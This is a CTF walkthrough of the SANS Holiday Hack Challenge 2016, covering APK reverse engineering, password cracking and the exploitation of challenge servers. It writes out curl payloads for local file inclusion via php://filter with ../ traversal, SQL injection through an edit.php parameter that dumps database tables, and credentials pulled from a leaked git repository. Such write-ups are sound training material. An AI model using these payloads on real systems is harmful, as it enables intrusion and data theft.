CSP-CERT® Resources:
SANS Holiday Hack Challenge 2016 Walkthrough

by CSP-CERT® Research Science
posted December 2016

It's holiday season again and as they do every year, SANS has come up with another Holiday Hack Challenge. This year, Santa has been abducted. it's up to you to help the Dosis children find Santa and save Christmas!

Part 1. A Most Curious Business Card

1. What is the secret message in Santa's tweets?

2. What is inside the ZIP file distributed by Santa's team?


First we check out the business card that the children found:

Best clues we can find is that Santa has both twitter and Instagram.

I. Twitter Feeds

Searching @santawclaus in tweeter gives a lot of tweets.

I went in search of a script to dump all of a user's tweets to see if they would make sense once combined and I found tweet_dumper.


Using the script above, gives a csv file with all of the specified user's tweets. When I copied the tweets to a text editor (ultraedit or notepad++) you can see that the tweets spell out BUG BOUNTY.

So the answer to the first question is BUG BOUNTY.

II. Santa's Instagram


Santa's Instagram account has three pictures (screenshot below)

Checking the first photo, it seems to have a website loaded. I couldn't find a straight forward way to save the photos so I just saved the whole page.

The 2nd jpg file in the screen shot above is the Instagram photo. Upon loading, I can see the zip file right away.

Zooming in more in other places, I found a domain right above the violent python book.

Checking if the link actually exists www.northpolewonderland.com/SantaGram_v4.2.zip

Downloading the file.

When I tried to unzip SantaGram_v4.2.zip, it asked for a password. Using the secret message from Santa's tweets, I was able to unzip the file. Tried a few combinations but in the end what worked was making them small caps and in one word. bugbounty

Inside the SantaGram_v4.2.zip is an apk file.

This answers no 2 of the question in Part 1.

Part 2: Awesome Package Konveyance

3. What username and password are embedded in the APK file?
username: guest password: busyreindeer78

4. What is the name of the audible component (audio file) in the SantaGram APK file?


I. Unpack the apk file. I used apktool
  1. apktool d .\SantaGram_4.2.apk

  2. Using grep, I tried searching for the word "password" using the command below. This will search all subdirectories for the word "password". grep -r password *

    Looking at the results, we can see variable declarations for password. In smali, the variable and the value are are set in different lines so we need to modify our grep search a bit to include lines after.

    grep -r -A 4 password *

    There's a lot of results but parsing through it, we find the below declaration for password in \SantaGram_4.2\smali\com\northpolewonderland\santagram\b.smali.

    Opening the b.smali file, I searched for "busyreindeer78" and found the username as well

    username: guest password: busyreindeer78

II. To find the audible file, I tried searching for mp3 files using the command: ls -r |grep .mp3

This gave me the result right away for the answer in number 4, discombobulatedaudio1.mp3.

Part 3: A Fresh-Baked Holiday Pi

5. What is the password for the "cranpi" account on the Cranberry Pi system?

6. How did you open each terminal door and where had the villain imprisoned Santa?
DFER (Dungeon For Errant Reindeer)

For details on each terminal, refer to the walkthrough.

In the quest to find Santa and save Christmas, the player must find all pieces of the Cranberry Pi (games version of Raspberry Pi) system. There are 5 pieces.

Once you find all the pieces talk to Holly Evergreen and she will give you the Cranbian image.

Link to the image: https://www.northpolewonderland.com/cranbian.img.zip
Once you find the password, tell holly and she will you can now go to each terminal, cracking a terminal gives you a password that you can use to open the corresponding doors.


I. Cracking the password.
  1. The zip file given by Holly evergreen contains an image file named cranbian-jessie.img. Using fdisk on the image reveals two partitions. fdisk -l cranbian-jessie.img

  2. Mounting the linux image and finding the hash for cranpi.

    There are two partitions in the image, one of which is a linux filesystem. I mounted the linux partition. I created a temporary folder named jessie and proceeded to mount it using the start offset of cranbian-jessie.img2. The offset is computed using the sector size * start offset.

    The shadow file in the system contains the hashed password for cranpi.

    One of the elves, Minty Candycane, gives a hint about cracking the hash as well as the wordlist to use.


  3. Cracking the cranpi account using john the ripper.

    First I used unshadow to create the file to be used for john the ripper. unshadow etc/passwd etc/shadow >../passwd.txt
    Note: make sure you use the shadow file and passwd from the cranbian image given and not your own shadow/passwd file.

    Using the rockyou.txt password, I used john the ripper to crack the cranpi account. john --wordlist=rockyou.txt passwd.txt

    Use the command below to show the cracked passwords. john --show

    Answer for number 5: yummycookies

II. Terminals
  1. Elf House #2 out.pcap

    Since it's a pcap, our first instinct is to go through tcpdump. But it gives us permission errors.

    Using sudo -l, I was able to see two executables that would be available to me using the username itchy.

    Using strings on the pcap reveals an http request and response. One of which shows the first part of the phrase. "santasli"

    sudo -u itchy strings out.pcap

    strings command, also accepts Unicode input. To do that, add -el so that it accepts unicode input.

    This shows the second part: ttlehelper.

    Reference: https://digital-forensics.sans.org/blog/2009/05/15/strings-strings-are-wonderful-things

  2. Hunt the Wumpus

    The objective of the game is to kill the Wumpus. With a bit of googling around I found a man page for the game which contains option that greatly enhances your chances of killing the wumpus. https://www.mankier.com/6/wump

    The options are as follows:

    • -a Specifies the number of magic arrows the adventurer gets. The default is five.
    • -b Specifies the number of rooms in the cave which contain bats. The default is three.
    • -h Play the hard version -- more pits, more bats, and a generally more dangerous cave.
    • -p Specifies the number of rooms in the cave which contain bottomless pits. The default is three.
    • -r Specifies the number of rooms in the cave. The default cave size is twenty-five rooms.
    • -t Specifies the number of tunnels connecting each room in the cave to another room. Beware, too many tunnels in a small cave can easily cause it to collapse! The default cave room has three tunnels to other rooms.

    The least number of rooms in a cave that the Wumpus will live in is 6.

    Knowing this, we will also use the -t option so that all rooms are connected. We can also use -a so that we have more than 5 arrows.

    In the end, I used the options below:
    [email protected]:~$ ./wumpus -r 6 -t 5 -a 50


  3. File in Deep Directory

    Using ls -la we check the current directory and see that there is a hidden directory named .doormat

    Entering the directory .doormat
    And then doing a recursive ls, we I found a txt file named key_for_the_door.txt in a very deep directory with lots of characters to escape.

    ls -laR

    In order to skip the escaping of characters, I used the find command. The find command has a -exec option which will execute a command on any file that it finds.

    [email protected]:~/.doormat$ find -iname '*.txt'

    First checking if the find command actually "finds" the key_for_the_door.txt file.

    Use cat command to see the file contents.

    find -iname '*.txt' -exec cat {} \;

    Passphrase: open_sesame

  4. WarGames

    Upon opening the terminal, it just greets with the words above. This is the greetings made by the AI in the movie Wargames. Just follow the script and it would give you the password. The program is very strict with the capitalization and punctuations, so I found it best to just copy paste the words below.


    I'm fine. How are you?

    People sometimes make mistakes.

    Love to. How about Global Thermonuclear War?

    Later. Let's play Global Thermonuclear War.

    Once you play the game, it will ask you which side you want, on the movie, they chose 2. So we are going to do the same.

    It will then ask you for targets. In the movie, Las Vegas and Seattle were inputted, but this version only accepts Las Vegas.


  5. Train Management Console

    The HELP command shows the location of the help file.

    Pressing enter gets us a semicolon:

    Type anything and it transforms into log file:

    This looks similar to the LESS command

    Pressing H confirms that it is LESS

    The LESS command can execute shell commands by using the ! character.

    We know that TrainHelper.txt is the HELP file used based on the filename in the first image. Doing a cat on Train_Console, shows the source code for the console.

    The source code shows a PASS variable: 24fb3e89ce2aa0ea422c3d511d40dd84

    The train station terminal doesn't have a door, instead, use the PASS when you START the train.

    Before starting the train, the brakes must be turned off.

    Turn the brakes off.

    When you start the train, it will ask for a password, apply the password that you got from the sourcecode.

    And it turns out, it wasn't an ordinary train, it's a train time machine! Use this to go back and forth between the present and 1978.

  6. Looking for Santa

    Once you are in 1978

    Go to the North Pole –> Workshop -> DFER (Dungeon for Errant Reindeer)

    Whole text from Santa

Part 4: My Gosh… It's Full of Holes

  • The Mobile Analytics Server (via credentialed login access)

    • The credential was found embedded in the APK file source code. So just using this gave me access to the guest account and was able to download the mp3 file.

  • The Dungeon Game

    • The game contains a debug engine called GDT. Using the DT command which displays text, I was able to find the conversation where the elf has already been encountered and bargained with.

  • The Banner Ad Server

    • The banner ad server contains a Meteor Framework Information disclosure vulnerability where it gives more data than it should. Specifically, the quotes that are supposed to be only accessible the admin.

  • The Uncaught Exception Handler Server

    • The exception Handler Server, gives very good error descriptions where it leads to information disclosure about the keys and values needed to interact with the server. It also includes an LFI vulnerability by using phpfilter. The server code automatically adds the .php to any value in the crashdump key.

  • The Mobile Analytics Server (post authentication)

    • Information Disclosure – contains an accessible git hub repository where admin credentials as well as the whole source code of the site is available.

    • Bad code design – The edit.php queries ALL columns in the table and updates the column if it sees a matching name. The names for the columns to be added are just sent via HTTP Parameters instead of setting them specifically on code. Thus, I was able to use the 'query' column to insert my own sql statement. The query column is used in the view.php page, so just loading that page with my own UDID I was able to get the database contents which included the 3 file.

8. What are the names of the audio files you discovered from each system above?
There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)
  • discombobulatedaudio1.mp3 – apk file
  • debug-20161224235959-0.mp3 – dev.northpolewonderland.com
  • discombobulated-audio-6-XyzE3N9YqKNH.mp3 - ex.northpolewonderland.com
  • discombobulatedaudio2.mp3 - analytics.northpolewonderland.com
  • discombobulatedaudio3.mp3 - dungeon.northpolewonderland.com
  • discombobulatedaudio5.mp3 – ads.northpolewonderland.com
  • discombobulatedaudio7.mp3 - analytics.northpolewonderland.com


I. Getting the IPs for the servers to attack.

A grep command for "dungeon" shows the file strings.xml in the apk files. grep dungeon * -R

Opening the file \SantaGram_4.2\res\values\strings.xml reveals all the servers


http://ads.northpolewonderland.com/ http://dev.northpolewonderland.com/



II. Exploitation
  1. The Mobile Analytics Server (via credentialed login access)

    URL: https://analytics.northpolewonderland.com/

    • Going to the URL above redirects us to a login page.

      On part 2, number 3, we were asked to get the embedded login credentials on the apk file. Using that on the analytics server gets as in as guest.

      username: guest
      password: busyreindeer78

    • Upon logging in, there is an MP3 tab in the menu

    • Clicking MP3, gives us the mp3 file

      Upon logging in, there is an MP3 tab in the menu


      MP3 link: https://analytics.northpolewonderland.com/getaudio.php?id=20c216bc-b8b1-11e6-89e142010af00008

  2. The Dungeon Game

    URL: http://dungeon.northpolewonderland.com/

    • Going to the URL, gives us a description for the dungeon game as well as a command list.

    • A simple nmap scan reveals the ports below nmap dungeon.northpolewonderland.com


      22/tcp open ssh

      80/tcp open http

      514/tcp filtered shell

      11111/tcp open vce

    • Connecting to port 11111 shows the dungeon game.

    • Searching in google, reveals that the dungeon game is based on Zork, a text based game.

    • As with the old zork game, the mission/objectives are mentioned at the start of the game by opening the mailbox and reading the leaflet.

      It states that our mission is to find the elf at the North Pole.

    • Research on the game.

      Reference: https://en.wikipedia.org/wiki/Zork

      The Wikipedia page for Zork mentions a debugger that is embedded in the game. This is activated by entering the command GDT.

    • Checking if this game also has the same debugger

    • Using the GDT and the DT command. As mentioned in the help file, DT displays the text. For example, DT Entry: 1 displays the first line of text "Welcome to Dungeon."

    • DT experiment

      DT 2000, just exits, meaning there must not be 2000 lines of text.

      Trying to narrow down the end.

      DT 1000, shows that there is still text, so the end should be between 1000 and 2000.

      DT 1500 just exits, so the end must be between 1000 and 1500.

      We continue to divide in half until we see a text output.

      1015 has text, so the end should be between 1015 and 1031

      End is 1027

      Checking lines at the end.

      Line 1024 mentions to send an email to [email protected]

    • Sending an email

      I tried sending an email to [email protected]

      After a few minutes, I received an email from [email protected] with an mp3 file attachment.

      Attachment Name: discombobulatedaudio3.mp3

  3. The Debug Server

    URL: http://dev.northpolewonderland.com/

    • Going to the sight just shows a blank page

    • Looking at the apk file for clues.

      grep dev.northpolewonderland.com * -R

      Only strings.xml contain a reference to dev.northpolewonderland.com

      Looking at the variable name debug_data_collection_url shows that it is referenced in public.xml with id 0x7f07001d. grep debug_data_collection_url -r *

      Checking for 0x7f07001d. It shows that the id is referenced in EditProfile$1.smali

      smali code is hard to understand so I opted to change the code to java using jadx.

      bin/jadx-gui ~/Desktop/SantaGram_4.2.apk

      Save all code.

      Search for the variable debug_data_collection_url

      grep debug_data_collection_url -r *

      The variable debug_data_collection_url is referenced in EditProfile.java

      From the code, it looks like the apk builds a json object and then sends them to the URL.

      The JSON object contains date, udid, debug and freemem elements and it will only go to that if debug_data_enabled is equal to true.

      Looking for debug_data_enabled, we can see it is also referenced in public.xml and strings.xml.

      It is currently set to false in the apk file, so we will need to change it to "true", rebuild the apk file and then run it on an emulator.

    • Rebuilding the SantaGram_4.2.apk

      After modifying the strings.xml to set debug_data_enabled to true, run apktool to build a new apk file.

      The new apk file should now be in the dist folder.

    • Signing the SantaGram_v4.2.apk

      In order to be able to install this new apk file, we need to sign it first.

      First Create a temp directory named key using keytool.exe, create a new keystore. keytool.exe -genkey -v -keystore keys/SantaGram_4.2.keystore -alias SantaGram -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000

      Sign the newly build SantaGram_4.2.apk using jarsigner.exe and the key that you created.

      "c:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe" -sigalg SHA1withRSA -digestalg SHA1 -keystore keys\SantaGram_4.2.keystore dist\SantaGram_4.2.apk SantaGram

      It will ask for the password that you provided when you created the keystore.

    • Running the SantaGram_4.2.apk in an emulator.

      To see the data that it sends, we will need to run the SantaGram_4.2 application in an android emulator and capture the transaction. This is accomplished by using adb and the Android Studio emulator.

      Using Studio Emulator, Under Android Virtual Device Manager, create a new Virtual Device. Once you have created this, open it.

      Run adb to install the modified SantaGram_4.2.apk.

      C:\Users\acidreignz\AppData\Local\Android\sdk\platform-tools>adb install "D:\_virus\sans holiday hack 2016\SantaGram_4.2\dist\SantaGram_4.2.apk"

      You should now be able to see the application on the emulator.

      Open wireshark and set the capture filter to the IP of dev.northpolewonderland.com so that we only get traffic to and from the server.

      Open the SantaGram, application, this presents us a login prompt.

      It also provides an option to create an account, by clicking "NEED AN ACCOUNT?"

      Proceed to creating an account for the application and login.

      Once logged in, it shows the home of the application like below. There is a button named Me, which could mean an access to the account profile.

      Clicking Me button, shows an option to Edit Profile.

      Change any of the inputs presented and click UPDATE PROFILE

      In wireshark, we can see that it captured the traffic.

      Looking at the HTTP POST data.

      We can see the POST data as well as the reply from the server.

      Server Reply

    • Exploitation

      Using the POST data as an example, we can create a curl query to further test parameters.

      curl test

      curl -X POST "http://dev.northpolewonderland.com" -H "Content-Type:application/json" -d '{"date":"20161221171305+0000","udid":"94111bfd1086207e","debug":"com.northpolewonderland.san tagram.EditProfile, EditProfile","freemem":40888320}'

      Using curl, the server is still responding to what we send

      Looking at the Server JSON response, there is an additional parameter named verbose which is set to false.

      Modifying the current curl command to include verbose and setting it to true.

      curl -X POST "http://dev.northpolewonderland.com" -H "Content-Type:application/json" -d '{"date":"20161221171305+0000","udid":"94111bfd1086207e","debug":"com.northpolewonderland.san tagram.EditProfile, EditProfile","freemem":40888320, "verbose":true}'

      The new command with verbose, gave an output that seemed to contain a current listing of the directory, one of which is the mp3 file.

      Downloading the mp3 file debug-20161224235959-0.mp3.

  4. The Banner Ad Server

    URL: http://ads.northpolewonderland.com/






    Looking at the site source code, it seems to reference Meteor Framework.

    Make sure that Meteor Miner addon is enabled, then go to the site http://ads.northpolewonderland.com.

    MeteorMiner should show up like the screenshot below

    Open the debugger console, in chrome it is CTRL-SHIFT-I. You should be able to see the MeteorMiner div class.

    Zooming in the Collections, we can see that HomeQuotes has 4 Records.

    On Meteor Miner -> Routes, click /admin/quotes

    Notice that in Collections, HomeQuotes now has 5 records!

    On the browser debugger console, enter the command below to be able to see the objects. We will look at the last one that was added.


    Notice the .mp3 file in the audio: parameter

    Downloading the mp3 file

    MP3: discombobulatedaudio5.mp3

    Link: http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3

  5. The Uncaught Exception Handler Server

    URL: http://ex.northpolewonderland.com/exception.php

    Elf Clues:


    • Looking for clues in the apk. In strings.xml, the URL is set to the variable exhandler_url

    • I will look for more information in the java decompiled version as it is more readable. Using the grep search below, it shows that exhandler_url has references in both b.java and SplashScreen.java

      grep exhandler_url -r *

      In b.java, we can see that it also creates a JSON Object and send its to the exhandler_url

      We can try to recreate the JSON data that was sent and send it via curl.

      We already know some of the values from the dev server so we can reuse those, for the other parameters, we can try some dummy values. Looking at the code above, there are 2 JSON objects that are nested.

      Putting this in curl we get:

      curl -X POST "http://ex.northpolewonderland.com/exception.php" -H "Content-Type:application/json" d '{"operation":"WriteCrashDump","data":{"message":"blablablablabla","lmessage":"blablablablabla","strace":"blablabla","model":"dummymodel","sdkint":"versionint","device":"devicebuild","product":"dummyproduct","lversion":"osversion","vmheapsz":"vmheapsz","vmallocmem":"dummy","vmheapszlimit":"dummy","natallocmem":"natallocmem","cpuusage":"cpuusage","totalstor":"totalstor","freestor":"freestor ","busystor":"busystor","udid":"94111bfd1086207e"}}'

      The result from the server is another JSON

      Modifying the operation key value returns an error, saying that the key 'operation' must be set to WriteCrashDump or ReadCrashDump

      curl -X POST "http://ex.northpolewonderland.com/exception.php" -H "Content-Type:application/json" d '{"operation":"WriteCras","data":{"message":"blablablablabla","lmessage":"blablablablabla","strace":"blablabla","model":"dummymodel","sdkint":"versionint","device":"devicebuild","product":"dummyproduct","lversion":"osversion","vmheapsz":"vmheapsz","vmallocmem":"dummy","vmheapszlimit":"dummy", "natallocmem":"natallocmem","cpuusage":"cpuusage","totalstor":"totalstor","freestor":"freestor","busystor":"busystor","udid":"94111bfd1086207e"}}'

      Trying the operation ReadCrashDump using

      curl -X POST "http://ex.northpolewonderland.com/exception.php" -H "Content-Type:application/json" d '{"operation":"ReadCrashDump"}'

      gives an error that data must be set.

      If it's using the same convention as WriteCrashDump, then the Data value must be another JSON. I modified my curl command to below.

      curl -X POST "http://ex.northpolewonderland.com/exception.php" -H "Content-Type:application/json" d '{"operation":"ReadCrashDump","data":{"bla":"bla"}}'

      The return data is another error which asks for crashdump key to be set.

      I modified my curl command again to include a crashdump key inside the data. The value for the crashdump key is set to the php file that was given earlier on the WriteCrashDump operation.

      curl -X POST "http://ex.northpolewonderland.com/exception.php" -H "Content-Type:application/json" d '{"operation":"ReadCrashDump","data":{"crashdump":"crashdump-EO6EC2.php"}}'

      This gives another error saying that a duplicate .php extension detected. Meaning the .php must be added by the server code. With this knowledge, I changed the curl command to remove the .php in the crashdump value.

      curl -X POST "http://ex.northpolewonderland.com/exception.php" -H "Content-Type:application/json" d '{"operation":"ReadCrashDump","data":{"crashdump":"crashdump-EO6EC2"}}'

      This gave a successful operation and I was able to read the crashdump.

      Checking the clues above, we know that this has something to do with LFI and phpfilter and based on the reply from the WriteCrashDump, we know that the crashdump file is in the docs folder.

      Combining the two clues together, I modified the curl command again.

      First to test if phpfilter works

      curl -X POST "http://ex.northpolewonderland.com/exception.php" -H "Content-Type:application/json" d '{"operation":"ReadCrashDump","data":{"crashdump":"php://filter/convert.base64encode/resource=crashdump-EO6EC2"}}'

      It worked and outputted a base64 encoded value of the crashdump. To prove this, we can add |base64 d on our command.

      curl -X POST "http://ex.northpolewonderland.com/exception.php" -H "Content-Type:application/json" d '{"operation":"ReadCrashDump","data":{"crashdump":"php://filter/convert.base64encode/resource=crashdump-EO6EC2"}}' |base64 -d

      Looking at the result, not only did it output the crashdump data, but the actual php source code with php tags.

      Lets add the LFI component. Knowing that I am in a subdirectory named docs, I will try to get out of it through ../ and try to dump the exception.php file.

      curl -X POST "http://ex.northpolewonderland.com/exception.php" -H "Content-Type:application/json" d '{"operation":"ReadCrashDump","data":{"crashdump":"php://filter/convert.base64encode/resource=../exception"}}' |base64 -d

      MP3: discombobulated-audio-6-XyzE3N9YqKNH.mp3

      Link: ex.northpolewonderland.com/discombobulated-audio-6-XyzE3N9YqKNH.mp3

  6. The Mobile Analytics Server (post authentication)

    URL: https://analytics.northpolewonderland.com/

    • Reconnaissance – NMAP.

      An NMAP scan shows a git repository hosted on the site.

      GIT Repository

    • Download the GIT repository

      • Mirror the repository using wget with --mirror and –no-check-certificate.

      • After mirroring the site, use a git client to show the log. I used tortoisegit

      • GIT Repository Reconnaissance

        On the Revision History, there is a Message that says "Add authentication"

        On the sprusage.sql, an authentication for administrator and guest were added.

        I know that guest account password was changed because it is different from what is embedded in the apk file, but an administrator account is also inserted into the "users" db.

        username: administrator password: KeepWatchingTheSkies

    • Trying the administrator account

      When I used the administrator account, I was able to login to the Sprusage Web Application.

      Notice below that the MP3 button on the menu of the guest account has been replaced with Edit.

      Below is a screenshot of the guest account menu for reference:

    • Edit.php Page check.

      Since the new addition on the menu is edit.php, I opted to check the code for that first.

      Screenshot of edit.php.

      The page for edit.php accepts three inputs, ID, Name, and Description.

      Using dummy/garbage values I tried to test the form to check for errors.

      The page errored out with an error in the sql syntax, and it gave the query that was used.

      Along with this, looking at the link, I now know that the values were passed to the server using http parameters, named id, name, and description.

    • Edit.php Source Code Check.

      HTTP Code:

      PHP Code:

      From the edit.php above, we know that the error came from line 61 because that is where it created the UPDATE query. Error:

      Checking the syntax of the above sql query, the reason it is erroring out is because the SET data is not in the query.

      An example of a complete query would be

      UPDATE 'reports' SET 'name'='dummy' WHERE 'id'='asdfa'

      To make it easier to understand, I broke the code down to 4 parts.

      Part 1.

      First, it checks if the http query has an "id" parameter that is passed to the server. If it doesn't have "id", then it exits.

      It then tries to query the "reports" table for all data that has the "id" that was passed. The "id" variable should look like the following, according to the html page.


      HTML Snippet:

      <input type="text" class="form-control" name="id" id="id" placeholder="XXXXXXXX-XXXX-XXXXXXXX-XXXXXXXXXXXX">

      It puts all the result of the query into the $row variable.

      Part 2.

      Processing the $row (result of the query in part 1) variable.

      For each $row, it takes the $name key which would be equivalent to the column name of the table and checks it against the http parameters. If the column name is one of the http parameters, then it is added to the $set variable.

      Basically, it compares the table columns against the http parameters and if it exists, then it is processed. This is a key discovery, because with this, if you know the other columns in the table, you can send it as an http parameter as well.

      Part 3.

      Creating the UPDATE query.

      Based on Part 2, I know that the $set array is populated with the name and value.

      Part 2 php snippet for setting values for $set[]:

      $set[] = "`$name`='" . mysqli_real_escape_string($db, $_GET[$name]) . "'";

      This would translate to:

      $set[] = "'id'=''"

      Notice that this is the missing part in the sql query. So somehow $set[] does not get values.

      Part 4.

      The actual querying to the database.

      Putting all the parts together to arrive on the error that was given (no SET data), it means that

      1. The $set[] variable is not being filled.

      2. The data used to fill $set[] comes from $row.

      3. $row is just the result of the SQL Query below

      "SELECT * FROM `reports` WHERE `id`=<value>"

      This means that my ‘id’ does not exist in the ‘reports’ tables. So I need to get a valid ID that is already existing in the reports table.

      Along with the discovery above, I also know that I can update an existing column in the table by passing it through HTTP Parameters as long as I know what that column name was.

      Based on the discoveries above I need to look for a valid ID for reports table and other columns in report table that I could update as well.

      To do this, I looked for clues for any other php file that interacts with the reports table.

      1. Get the current revision.

      git rev-parse HEAD

      2. Once I know what the current revision is, I can use git grep to search for php files in that revision that had anything to do with the reports table.

      From the grep results, I can see 3 php files, edit.php, query.php, and view.php. The report.php references app_launch_reports and app_usage_reports, not reports table.

    • Query.php Source code check

      On the previous grep search we learn that query.php contain a reference to reports on line 190. The line 182 is again a reference to another table based on the "FROM `app_" . $type . "_reports` " line.

      Based on the source code lines query.php inserts 4 data to the reports table.

      1. id

      2. name

      3. description

      4. query

      Following the code, $query is an actual SQL query (lines 181-184), that is then inserted into the reports table.

      The $id which is a component that we need for edit.php to work can also be generated by query.php (line 187).

      For this to happen, the http field ‘save’ should be set.

    • Creating a udid for edit.php.

      Go to the query.php page, https://analytics.northpolewonderland.com/query.php

      The page will if you want to choose Launch or Usage. Choosing any of the two will show a form where you can run a query and also save it.

      By checking the “Save Query?” checkbox and clicking “Run Query”.

      The server will give you something similar to the output below. Because we chose to save the query, it saved our report as report-2618414f-b72a-444e-bfff-4338df3ff840 which it gives as a link.

      It also looks like the ‘query’ variable was actually executed.

      Looking back again at the query.php code, we see this line at the end.

      Clicking report-2618414f-b72a-444e-bfff-4338df3ff840, redirects as to https://analytics.northpolewonderland.com/view.php?id=2618414f-b72a-444e-bfff-4338df3ff840.

      The php file view.php was one of results identified earlier which interacts with the reports table as well.

      The view.php page gives the ID, which were just the numbers appended to the report file.

      It also gives the same data that we had with query.php. Looking at the source code for view.php, it looks like it is also running the query that was inserted into the reports table by query.php.

    • Putting this all together, the reports table contain columns





      The query.php page creates an ID and a report that is used by both view.php and edit.php.

      Both query.php and view.php run the sql query that is set in the query column of the reports table.

      The edit.php page can update any column that you set in the http parameter.

    • Exploitation

      With that in mind, we go to edit.php again and input the ID that we got from query.php

      Clicking Edit gives us the result below.

      The link given was https://analytics.northpolewonderland.com/edit.php?id=2618414f-b72a-444ebfff-4338df3ff840&name=dummy&description=dummy

      It confirms the analysis that the columns to be set are taken from the http parameters.

      In view.php, it is confirmed that the columns were updated with the new values.

      Knowing this, I added the query parameter to the http request for edit.php.

      https://analytics.northpolewonderland.com/edit.php?id=2618414f-b72a-444e-bfff4338df3ff840&name=dummy&description=dummy&query=show tables

      The output of the page shows that query was added to the sql query.

      Loading view.php and adding my id, my updated sql query was executed. https://analytics.northpolewonderland.com/view.php?id=2618414f-b72a-444e-bfff-4338df3ff840

      From the result of show tables, I see that there is a table named audio. This looks like it is where the mp3 file would be.

      So I modified my query to show the contents of the audio table.

      https://analytics.northpolewonderland.com/edit.php?id=2618414f-b72a-444e-bfff4338df3ff840&name=dummy&description=dummy&query=SELECT * FROM audio

      The result in view.php shows 2 mp3 files, one for guest and one for administrator. We already got the guest mp3, so our last mp3 file is discombobulatedaudio7.mp3.

    • Data Exfiltration

      Notice that there is another column named mp3, but it doesn’t contain anything. To check if the field actually contains data or not, I used the LENGTH function of mysql.

      https://analytics.northpolewonderland.com/edit.php?id=2618414f-b72a-444e-bfff-4338df3ff840&name=dummy&description=dummy&query=SELECT LENGTH(mp3) FROM audio WHERE username= 'administrator'

      This gives the output below which confirms that there is data in the mp3 column.

      Checking for the data type of columns

      https://analytics.northpolewonderland.com/edit.php?id=2618414f-b72a-444e-bfff4338df3ff840&name=dummy&description=dummy&query=show fields from audio

      The data type for mp3 column is mediumblob its very likely that the actual mp3 is in the database.

      Looking for ways to read a binary file in a mysql column.

      Found the HEX function. I tried to use it and it showed the mp3 file as a hex string.

      https://analytics.northpolewonderland.com/edit.php?id=2618414f-b72a-444e-bfff-4338df3ff840&name=dummy&description=dummy&query=SELECT hex(mp3) FROM audio WHERE username= 'administrator'

      Convert HEX string to HEX bytes.

      1. I copied all the hex string into a temporary file.

      2. Then, I used python to convert the hex string to the actual file using the script below.

      We now have all 7 audio files.

Part 5: Discobombulated Audio

9. Who is the villain behind the nefarious plot?
Dr. Who

10. Why had the villain abducted Santa?
He kidnapped Santa so he could use Santa’s magick with his own abilities to stop the Star Wars Holiday Special from being released in 1978


Put all audio files in audacity. Use cut and paste to combine all 7 audio files.

The slowness of the sound is noticeable so I changed the tempo and put in a 400% change.

I could hear the words below. Christmas Santa Claus Jeff

It felt like some of the words were said quickly on the last part, so I modified the speed as well.

Christmas Santa Claus or as I’ve Jeff

A quick google on the words above and I found a few references to Dr Who.

Father Christmas, Santa Claus. Or, as I've always known him, Jeff.

Using the words above that was said by Dr. Who, including the period. I got in through the last door and up to the clock tower. It turns out its Dr. Who himself who kidnapped Santa!